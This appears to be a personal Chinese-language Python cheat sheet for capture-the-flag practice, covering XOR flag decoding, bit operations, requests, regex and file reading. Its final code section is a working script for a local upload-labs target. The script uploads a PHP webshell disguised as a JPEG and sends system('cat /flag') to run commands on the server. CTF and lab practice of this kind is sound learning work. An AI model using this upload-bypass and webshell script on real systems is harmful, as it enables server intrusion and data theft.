Logout

代办

https://blog.csdn.net/Chihwei_Hsu/article/details/81943008 ------WebKitFormBoundaryNTmRU9lQHyTVAE9w http://zihaolucky.github.io/using-python-to-build-zhihu-cralwer/

例子

循环和位操作

两种对字符串的循环操作 第一是转为链表操作

a=[13,19,23,17,2,1,32,29,12,2,25,47,23,43,36,31,30,22,9,15,21,39,19,38]
n1=n2=list("GONDPHyGjPEKruv{{pj]X@rF")
for index,n in enumerate(n1):
# 此处的index是链表的元素序号,简单链表循环 for n in n1:
    n=((ord(n)^a[index])-72)^0x55
    #ord()chr() ascii表转换
    #a=b^c相当于b=a^c
    if(n>=97 and n<=122):
    #函数尾部for、if、while都要加冒号:   if中的及和或分为为and和or
        n-=32
    elif(n>=65 and n<=90):
    #else if 是elif
        n+=32
    n2[index]=chr(n)
print("".join(n2))

第二种直接操作

val1 = [0x0D,0x13,0x17,0x11,0x02,0x01,0x20,0x1D,0x0C,0x02,0x19,0x2F,0x17,0x2B,
        0x24,0x1F,0x1E,0x16,0x09,0x0F,0x15,0x27,0x13,0x26,0x0A,0x2F,0x1E,0x1A,
        0x2D,0x0C,0x22,0x04]
        #hex()int()十六进制和十进制互转
v4 = "GONDPHyGjPEKruv{{pj]X@rF"
v8 = ""
flag = ""

for i in range(len(v4)):
# range(start, stop[, step])(起始(默认0)、终止(不包含)、步长)
    v8 += chr(((ord(v4[i]) ^ val1[i]) - 72) ^ 0x55)
print(v8)
for i in range(len(v8)):
    if ord(v8[i]) >= 97 and ord(v8[i]) <= 122:
        flag += chr(ord(v8[i]) - 32)
    elif ord(v8[i]) >= 65 and ord(v8[i]) <= 90:
        flag += chr(ord(v8[i]) + 32)
    else:
        flag += v8[i]
print('EIS{'+flag+'}')

位操作

<<左移 &按位与|按位或

def zymBin(target,maxlen=0,beginRight=0):
    # target:目标变量
    # maxlen:要倒序的总长度
    # beginRight:从右起始的位数
    if maxlen==0:
        maxlen=len(bin(target))-2
        #bin()转为0bXXXX的形式,len()计算长度,由于有"0b"所以位数减2
    temout1=0
    temout2=0
    temout1=target&(pow(2,beginRight)-1)
    #pow()次方,2的beginRight次方,这一步是为了全部取1,然后使target目标长度均为1
    target>>=beginRight
    #所有数右移beginRight位
    maxtem=maxlen
    while maxlen:
        maxlen-=1
        temout2|=target&1
        #a|=b相当于a=a|b
        target>>=1
        temout2<<=1
        if maxlen==0:
            break
    target<<=(maxtem+beginRight)
    temout2<<=maxtem
    print(bin(target),bin(temout2),bin(temout1))
    return target|temout1|temout2

从右开始指定位数二进制顺序倒置

获取本地变量

v2 = 102;
v3 = 109;
v4 = 99;
v5 = 100;
v6 = 127;
data=[]
print(locals()["v5"])  #输出本地v5变量
for i in range(2,7):
  data.append(locals()['v'+str(i)]) #数组增加本地变量
flag=''
for i in range(5):
  flag+=chr(data[i]^i)
print(flag)

requests

  1. 提交python字典格式的数据
>>> payload = {'key1': 'value1', 'key2': 'value2'}
>>> r = requests.post("http://httpbin.org/post", data=payload)
  1. 提交Json格式数据
>>> import json
>>> url = 'https://api.github.com/some/endpoint'
>>> payload = {'some': 'data'}
>>> r = requests.post(url, data=json.dumps(payload))

>>> url = 'https://api.github.com/some/endpoint'
>>> payload = {'some': 'data'}
>>> r = requests.post(url, json=payload)
  1. 提交文件
>>> url = 'http://httpbin.org/post'
>>> files = {'file': open('report.xls', 'rb')}
>>> r = requests.post(url, files=files)

字符串操作

列表转为字符串

''.join(list) list = [1, 2, 3, 4, 5] ''.join(list)结果即为:12345 ','.join(list) 结果即为:1,2,3,4,5 实例:

str=[]  #有的题目要输出字符串,但是有时候list更好操作,于是可以最后list转string提交
for i in range(0,a):
    str.append('M')
str1=''.join(str)

字符串长度

text='python' len(text)=6

截取

str[beginIndex:endPosition]
a = "Hello" 
print "a[1:4] 输出结果:", a[1:4]    #结果 ell
print "a[:4] 输出结果:", a[:4]    #结果 Hell
print "a[1:] 输出结果:", a[1:]    #结果 ello

字符串前缀

  1. 字符串前加 u 例:u"我是含有中文字符组成的字符串。" 作用: 后面字符串以 Unicode 格式进行编码,一般用在中文字符串前面,防止因为源码储存格式问题,导致再次使用时出现乱码。
  2. 字符串前加 r 例:r"\n\n\n\n" # 表示一个普通生字符串 \n\n\n\n,而不表示换行了。 作用:去掉反斜杠的转义机制。 \n 换行 \t tab
  3. 字符串前加 b 例: response = b'<h1>Hello World!</h1>' # b' ' 表示这是一个 bytes 对象 作用:b" "前缀表示:后面字符串是bytes 类型。 send 函数的参数和 recv 函数的返回值都是 bytes 类型 在 Python3 中,bytes 和 str 的互相转换方式是 str.encode('utf-8') bytes.decode('utf-8')

变量去转义

r''+变量

test='1234a567b'
condtion='a(.+?)b'
result=re.findall(r''+condtion,test)
print(result)

输出['567']

字符串和数字拼接

print(i+'asd')  #报错
print(str(i)+'asd')  

内置库re

元字符和其含义
    .       匹配除换行符以外的任意字符
    \       转义字符,使后一个字符改变原来的意思
    \w      匹配字母、数字、下划线:[A-Za-z0-9_]
    \W      匹配特殊字符:[^A-Za-z0-9_]
    \s      匹配任意的空白符:[<空格>\t\r\n\f\v]
    \S      匹配非空白符
    \d      匹配数字
    \D      匹配非数字
    \n      匹配一个换行符
    \t      匹配一个制表符
    \b      匹配一个单词的结尾
# 几个常用的非贪婪匹配Pattern
    *?      重复任意次,但尽可能少重复
    +?      重复1次或更多次,但尽可能少重复
    ??      重复0次或1次,但尽可能少重复
    {n,m}?  重复n到m次,但尽可能少重复
    {n,}?   重复n次以上,但尽可能少重复
    .*?x    就是取前面任意长度的字符,直到一个x出现

    a=re.search(r''+str1, ss)
    #匹配整个字符串,只到找到第一个匹配然后返回,如果字符串没有匹配,则返回None。  

    re.findall(pattern, string, flags=0)
    #匹配字符串所有的内容,把匹配到的字符串以列表的形式返回

    re.sub(pattern, repl, string, count=0, flags=0)
    # 用于替换字符串中的匹配项。 第四个参数指替换个数。默认为0,表示每个匹配项都替换。

re.match等返回的对象

使用了re.match()后返回的是一个<_sre.SRE_Match object; span=(0, 5), match=‘jilao’>的对象 | 方法名称 | 作用 | 说明 | | :-: | :-: | :-: | | group | 以str形式返回对象中match的元素 |即返回要查找的字符串| | start | 返回开始位置 | | | end | 返回结束位置 | | | span | 以tuple形式返回范围 | 返回(start,end) | 请注意!这些方法并不适用于findall,因为findall返回的是一个list

for a in re.finditer('1', '123123123'):
    print(a.span())
(0, 1)
(3, 4)
(6, 7)

进制转换

  1. 二进制 0b1111 十转2进制 bin()
  2. 八进制 018888 十转8进制 oct()
  3. 十六进制 0x1EEE 十转16进制 hex() 通用转换
int("1100100",2) 
int("0b1101", 0)
eval('0b1100100') 
int('144', 8)
int('0144', 0) 
eval('01100100') 

读取文件字符串

f1 = open('tinyfilemanager.php','r', encoding='UTF-8') f.readlines()f.read().splitlines()都是返回一个list,f.readlines()后面有加\n,f.read().splitlines()没有\n

读取文件

read([size])

read([size])方法从文件当前位置起读取size个字节,若无参数size,则表示读取至文件结束为止,它范围为字符串对象

f = open("a.txt")
lines = f.read()
print lines
print(type(lines))
f.close()

Welcome

readline()

该方法每次读出一行内容,所以,读取时占用内存小,比较适合大文件,该方法返回一个字符串对象

f = open("a.txt")
line = f.readline()
print(type(line))
while line:
 print line,
 line = f.readline()
f.close()

readlines()

f = open("a.txt")
lines = f.readlines()
print(type(lines))
for line in lines:
 print line,
f.close()

输出对象为list

linecache

还可以用linecache模块,比如你要输出某个文件的第n行:

# 输出第2行
text = linecache.getline(‘a.txt',2)
print(text)

代码

import requests
import re

url = "http://192.168.43.83/upload0/Pass-01/index.php"

data = {'submit':'1'}
files = {'upload_file':("xiaoma1.php",open('xiaoma1.jpg','rb'),'image/jpeg')}

response = requests.post(url,data=data,files=files)

a=response.text
for ss in re.finditer(r"<img src=", a):
    c=ss.start()
    print(a[c:c+50])

#c=a.rfind(r"<img src=")
#print(response.text[c:c+100])

url1= "http://192.168.43.83/upload0/upload/xiaoma1.php"
#payload={ "a": "system( \'cat ../../../../../flag');"}
payload={ "a": "system( \'cat /flag');"}
response1=requests.post(url1,payload,timeout=1)
print(response1.text)